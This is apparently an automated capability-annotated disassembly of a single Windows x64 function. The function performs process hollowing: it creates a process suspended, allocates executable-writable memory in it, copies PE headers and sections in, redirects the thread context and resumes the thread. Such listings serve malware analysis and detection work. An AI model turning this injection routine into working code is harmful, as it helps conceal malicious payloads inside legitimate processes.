Function at 0x180129250
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
movaps xmmword [rsp + 0x6b0], xmm6
mov rax, qword [0x180496d00]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov rbx, r9
mov r15, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 0x68], rbx
xor r12d, r12d
mov r8d, 0x104
lea rdx, [rbp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1801292f0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1801292e9
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1801292e4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180129768
mov rcx, r8
call fcn.1803a1254
xor al, al
jmp 0x180129730
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x490]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180129310
lea rdx, [rbp + 0x490]
lea rcx, [rsp + 0x70]
call fcn.180129150
nop
mov r8d, 1
lea rdx, [0x18046a674]
lea rcx, [rsp + 0x70]
call fcn.180129fd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180129381
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x50]
call fcn.180129fd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x480], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x470], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x480], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180129408
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180129403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180129403
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1803a1254
movdqa xmm6, xmmword [0x18046a6f0]
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x18012945a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180129455
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180129455
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1803a1254
movsxd r14, dword [r15 + 0x3c]
add r14, r15
cmp dword [r14], 0x4550
je 0x1801294bf
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x1801294ab
inc rdx
mov rcx, qword [rbp + 0x470]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1801294a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1801296dd
call fcn.1803a1254
movdqu xmmword [rbp + 0x480], xmm6
mov byte [rbp + 0x470], 0
jmp 0x1801292af
lea rdx, [rbp + 0x470]
cmp qword [rbp + 0x488], 0xf
cmova rdx, qword [rbp + 0x470]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18012946a
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x30], 0x10000b
lea rdx, [rbp - 0x60]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsi]
test eax, eax
jne 0x18012954d
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
mov rcx, qword [rsi]
test rax, rax
jne 0x180129585
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r15
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1801295b1
mov edx, 0xfffffffa
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
movzx edi, r12w
cmp r12w, word [r14 + 6]
jae 0x180129608
nop dword [rax]
movzx eax, di
lea rdx, [rax + rax*4]
movsxd rcx, dword [r15 + 0x3c]
add rcx, r15
mov r9d, dword [rcx + rdx*8 + 0x118]
mov r8d, dword [rcx + rdx*8 + 0x11c]
add r8, r15
mov edx, dword [rcx + rdx*8 + 0x114]
add rdx, qword [rbp - 0x70]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18012963f
inc di
cmp di, word [r14 + 6]
jb 0x1801295c0
mov rdx, qword [rbp + 0x28]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x70]
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180129652
mov edx, 0xfffffff8
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov edx, 0xfffffff9
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov eax, dword [r14 + 0x28]
add rax, qword [rbp - 0x70]
mov qword [rbp + 0x20], rax
lea rdx, [rbp - 0x60]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180129683
mov edx, 0xfffffff7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1801296a5
mov edx, 0xfffffff6
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18012946a
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x1801296e9
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1801296e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1801296e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1803a1254
movdqu xmmword [rbp + 0x480], xmm6
mov byte [rbp + 0x470], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18012972e
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180129729
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180129768
mov rcx, r8
call fcn.1803a1254
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r12
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.1803a0e80
movaps xmm6, xmmword [rsp + 0x6b0]
add rsp, 0x6c0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3